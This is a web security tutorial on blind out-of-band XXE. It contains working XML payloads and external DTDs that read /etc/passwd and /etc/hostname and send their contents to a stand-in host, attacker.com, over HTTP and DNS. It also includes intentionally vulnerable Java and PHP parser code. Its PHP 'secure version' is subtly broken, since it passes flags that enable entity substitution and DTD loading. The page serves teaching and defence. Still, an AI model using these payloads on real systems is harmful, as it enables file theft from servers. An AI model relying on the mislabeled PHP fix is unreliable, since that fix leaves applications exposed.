Blind XXE (Out-of-Band)
Understanding and exploiting blind XXE vulnerabilities when direct entity expansion output is not visible in application responses.
Overview
Blind XXE vulnerabilities occur when an application parses XML containing external entity definitions but does not directly output the entity expansion results in its response. This is common in scenarios where:
- XML is parsed for backend processing without user-visible output
- Error messages are suppressed or generic
- Application logs entity expansion but doesn't return it
- XML is processed asynchronously
Blind XXE requires out-of-band (OOB) techniques to exfiltrate data, typically using HTTP or DNS callbacks to an attacker-controlled server. Despite the lack of direct output, blind XXE remains critical as it can still enable:
- File disclosure via OOB exfiltration
- Server-Side Request Forgery (SSRF)
- Denial of Service
- Network reconnaissance
Detection Techniques
Detecting blind XXE requires monitoring for out-of-band callbacks:
- DNS-Based Detection: Use DNS queries to a controlled domain
- HTTP-Based Detection: Trigger HTTP requests to a controlled server
- Error-Based Detection: Analyze timing and error patterns
- FTP-Based Detection: Use FTP protocol for Windows environments
Tools like Burp Collaborator, interactsh, or custom servers can capture these callbacks.
Out-of-Band Detection Payload
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE root [
3 <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
4 %remote;
5]>
6<root>
7 <data>&send;</data>
8</root>External DTD for Data Exfiltration
The external DTD file (xxe.dtd) hosted on the attacker's server contains parameter entities that exfiltrate data:
1<!ENTITY % file SYSTEM "file:///etc/passwd">
2<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
3%eval;
4%send;How Parameter Entities Enable Blind XXE
Blind XXE exploitation relies on parameter entities:
- %remote - Fetches external DTD from attacker server
- %file - Reads local file content (e.g., /etc/passwd)
- %eval - Dynamically defines entity that sends data
- %send - Triggers HTTP request with file content in URL parameter
When the XML parser processes this chain:
- Parser fetches external DTD from attacker.com
- External DTD reads /etc/passwd into %file
- %eval creates &send; entity that makes HTTP request
- %send; triggers the request, sending file content to attacker
- Attacker captures file content in HTTP server logs
Vulnerable Java Implementation
1import javax.xml.parsers.DocumentBuilder;
2import javax.xml.parsers.DocumentBuilderFactory;
3import org.w3c.dom.Document;
4import java.io.ByteArrayInputStream;
5
6public class BlindXXEVulnerable {
7 public void processXML(String xmlData) {
8 try {
9 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
10 DocumentBuilder builder = factory.newDocumentBuilder();
11
12 // Parse XML but don't output entity expansion
13 Document doc = builder.parse(
14 new ByteArrayInputStream(xmlData.getBytes())
15 );
16
17 // Process document internally - no output to user
18 System.out.println("Document processed successfully");
19
20 } catch (Exception e) {
21 // Generic error - no details leaked
22 System.out.println("Processing failed");
23 }
24 }
25}Secure Java Implementation
1import javax.xml.parsers.DocumentBuilder;
2import javax.xml.parsers.DocumentBuilderFactory;
3import org.w3c.dom.Document;
4import java.io.ByteArrayInputStream;
5
6public class BlindXXESecure {
7 public void processXML(String xmlData) {
8 try {
9 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
10
11 // Disable all external entity processing
12 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
13 factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
14 factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
15 factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
16 factory.setXIncludeAware(false);
17 factory.setExpandEntityReferences(false);
18
19 DocumentBuilder builder = factory.newDocumentBuilder();
20 Document doc = builder.parse(
21 new ByteArrayInputStream(xmlData.getBytes())
22 );
23
24 System.out.println("Document processed securely");
25
26 } catch (Exception e) {
27 System.out.println("Processing failed");
28 }
29 }
30}Blind XXE in PHP
1<?php
2// Vulnerable - processes XML without output
3$xml = $_POST['xml'];
4$dom = new DOMDocument();
5$dom->loadXML($xml); // Default settings allow external entities
6
7// Process internally - no visible output
8file_put_contents('processed.log', $dom->saveXML());
9echo "Processing complete";
10
11// Secure version
12$dom = new DOMDocument();
13libxml_disable_entity_loader(true); // Disable external entities
14$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR);
15echo "Processing complete";
16?>Data Exfiltration Techniques
HTTP-Based Exfiltration Most common method. File content sent in URL parameters:
- Advantages: Works in most environments, easy to set up
- Limitations: URL length limits (~2KB), special characters require encoding
DNS-Based Exfiltration Exfiltrate data via DNS queries (subdomain labels):
- Advantages: Works even when HTTP is blocked, harder to detect
- Limitations: Very limited data size (63 chars per label, 253 total)
FTP-Based Exfiltration (Windows) Use FTP SYSTEM identifier on Windows systems:
- Advantages: Can exfiltrate larger files
- Limitations: Windows-only, FTP often blocked by firewalls
Error-Based Exfiltration Trigger errors that include file content:
- Advantages: No external callback needed
- Limitations: Requires error messages visible to attacker
DNS Exfiltration Example
1<!-- Initial payload -->
2<?xml version="1.0"?>
3<!DOCTYPE root [
4 <!ENTITY % remote SYSTEM "http://attacker.com/dns.dtd">
5 %remote;
6]>
7<root/>
8
9<!-- dns.dtd on attacker server -->
10<!ENTITY % file SYSTEM "file:///etc/hostname">
11<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://%file;.attacker.com/'>">
12%eval;
13%send;Prevention Strategies
- Disable External Entities: Configure XML parsers to reject external entities (see language-specific guides)
- Disable DTD Processing: Completely disallow DOCTYPE declarations if not needed
- Network Segmentation: Prevent internal servers from making outbound HTTP/DNS requests
- Whitelist Validation: Only allow expected XML structures
- WAF Rules: Deploy web application firewall rules to detect XXE patterns
- Monitoring: Monitor for unusual outbound connections from application servers
- Alternative Formats: Use JSON instead of XML when possible
Testing for Blind XXE
Setup Requirements:
- Controlled domain with DNS/HTTP logging (Burp Collaborator, interactsh.com)
- Test payloads with unique identifiers to track callbacks
- Monitor logs for callbacks (may be delayed)
Test Methodology:
- Send basic OOB detection payload
- Monitor for HTTP/DNS callbacks (check logs for 5-10 minutes)
- If callback received, attempt file exfiltration
- Test different protocols (http://, https://, ftp://)
- Test parameter entity techniques if direct entities fail
- Test error-based techniques if OOB fails
Tools:
- Burp Suite Professional (Collaborator)
- interactsh.com (free OOB testing)
- XXEinjector (automated exploitation)
- Custom Python HTTP server for logging